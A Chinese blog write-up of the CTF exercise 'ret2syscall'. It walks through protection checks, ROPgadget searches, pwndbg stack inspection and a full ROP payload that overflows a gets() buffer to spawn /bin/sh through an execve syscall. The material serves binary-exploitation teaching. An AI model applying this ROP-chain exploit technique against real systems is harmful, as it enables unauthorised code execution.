PWN

ret2syscall

shilinkun
2022-05-13 / 0 评论 / 233 阅读 / 正在检测是否收录...
博客网址:www.shicoder.top
微信:kj11011029
欢迎加群聊天 :452380935

这一次我们来深入分析下更难的栈溢出题目ret2syscall

首先还是先检查下的保护

[*] '/home/pwn/桌面/题目/ROP/ret2syscall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到开启了栈不可以执行保护,不能在栈上覆盖我们的shellcode,那去看下是不是和ret2shellcode有一个bss段可以执行呢?,我们去看下IDA反编译的结果

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

感觉没有可以使用的bss段呢,但我们打开IDA发现,它的函数窗口怎么这么多函数呀,但main函数完全没有使用很多呢,那它是不是静态链接的呀,于是使用file查看下

ROP$ file ret2syscall 
ret2syscall: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

看来是静态链接,那好办了,就是我们熟悉的ROP思想了,下面我简单说下这个思想是什么意思

首先我们知道最终是要程序执行execve("/bin/sh")这段代码,就可以得到shell,那这个函数其实就是一个系统调用,对应的反汇编代码如下

mov eax, 0xb
mov ebx, [“/bin/sh”] 
mov ecx, 0
mov edx, 0
int 0x80

因此下面这个图展示栈溢出的原理

image-20220513104822074

那是不是我们溢出的栈中,只要包含这几句代码,然后让他挨着执行,那是不是类似我们执行了execve("/bin/sh")呢,而且注意到这个程序是静态链接,那肯定有很多库被引进来了,所以找到这些代码片段应该不是很难,那怎么找呢,有一个指令ROPgadget

ROP$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

比如我们想找到pop eax;ret这行代码,上面看到有这么多,那选0x080bb196

同样我们需要找到pop ebx;ret

ROP$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

看到有一行0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret,这刚好完全,那就这一条把

那还有一个,我们需要/bin/sh这个字符串呢,同样

ROPgadget --binary ret2syscall  --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh

最后就是int0x80的地址,同样

ROPgadget --binary ret2syscall  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

当然这道题就是完全巧合,正常题目不可能这样,这里就是熟悉下,hhh

现在把执行execve("/bin/sh")的汇编代码完全找到了,那其实就是将这些代码挨着进行栈覆盖,让eip不断的在这几行汇编跳转执行,最终实现execve("/bin/sh")

exp怎么写呢,先直接看下payload

pop_eax_ret= 0x080bb196
pop_edx_ecx_ebx_ret= 0x0806eb90
bin_sh_adr=0x080be408
int0x80_adr=0x08049421
 
payload='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_adr)+p32(int0x80_adr)

首先还是用IDA看下需要覆盖多少字节

pwndbg> stack 40
00:0000│ esp  0xffffd100 —▸ 0xffffd11c ◂— 'AAAAAAAA'
01:0004│      0xffffd104 ◂— 0x0
02:0008│      0xffffd108 ◂— 0x1
03:000c│      0xffffd10c ◂— 0x0
04:0010│      0xffffd110 ◂— 0x1
05:0014│      0xffffd114 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
06:0018│      0xffffd118 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
07:001c│ eax  0xffffd11c ◂— 'AAAAAAAA'
... ↓
09:0024│      0xffffd124 —▸ 0xffffd200 —▸ 0x8049630 (__libc_csu_fini) ◂— push   ebx
0a:0028│      0xffffd128 ◂— 0x8000
0b:002c│      0xffffd12c —▸ 0x8048b36 (init_cacheinfo+86) ◂— test   eax, eax
0c:0030│      0xffffd130 ◂— 0x28 /* '(' */
0d:0034│      0xffffd134 ◂— 0x1
0e:0038│      0xffffd138 ◂— 0x16
0f:003c│      0xffffd13c ◂— 0x8000
10:0040│      0xffffd140 —▸ 0x80da404 (__EH_FRAME_BEGIN__) ◂— adc    al, 0
11:0044│      0xffffd144 —▸ 0x80eaf84 (object) ◂— 0xffffffff
12:0048│      0xffffd148 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
13:004c│      0xffffd14c ◂— 0x1
14:0050│      0xffffd150 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
15:0054│      0xffffd154 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
16:0058│      0xffffd158 ◂— 0x1
17:005c│      0xffffd15c —▸ 0x8049612 (__libc_csu_init+130) ◂— add    ebp, 1
18:0060│      0xffffd160 ◂— 0x1
19:0064│      0xffffd164 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
1a:0068│      0xffffd168 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1b:006c│      0xffffd16c ◂— 0x2
1c:0070│      0xffffd170 —▸ 0x80ea078 (__exit_funcs) —▸ 0x80eb2a0 (initial) ◂— 0x0
1d:0074│      0xffffd174 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
1e:0078│      0xffffd178 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1f:007c│      0xffffd17c —▸ 0x80481a8 (_init) ◂— push   ebx
20:0080│      0xffffd180 ◂— 0x0
21:0084│      0xffffd184 —▸ 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
22:0088│ ebp  0xffffd188 —▸ 0x8049630 (__libc_csu_fini) ◂— push   ebx
23:008c│      0xffffd18c —▸ 0x804907a (__libc_start_main+458) ◂— mov    dword ptr [esp], eax
24:0090│      0xffffd190 ◂— 0x1
25:0094│      0xffffd194 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
26:0098│      0xffffd198 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'

首先需要覆盖0xffffd18c-0xffffd11c=112个字节,然后就开始覆盖返回地址,我们要按照这个过程进行覆盖

image-20220513111322877

那容易了呀,那不就是

payload='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_adr)+p32(int0x80_adr)

有可能很多小伙伴不知道为什么要pop eax;ret这样的,首先return addresspop eax;ret的地址,那么首先就是执行pop eax;ret,分2步,第一步pop eax,那么就把0xbeax,然后ret,就会到pop ebx;ret这一个地方,那么后面就一样了,这里大家可以画一个动态图,自己好好理解下

0

评论 (0)

取消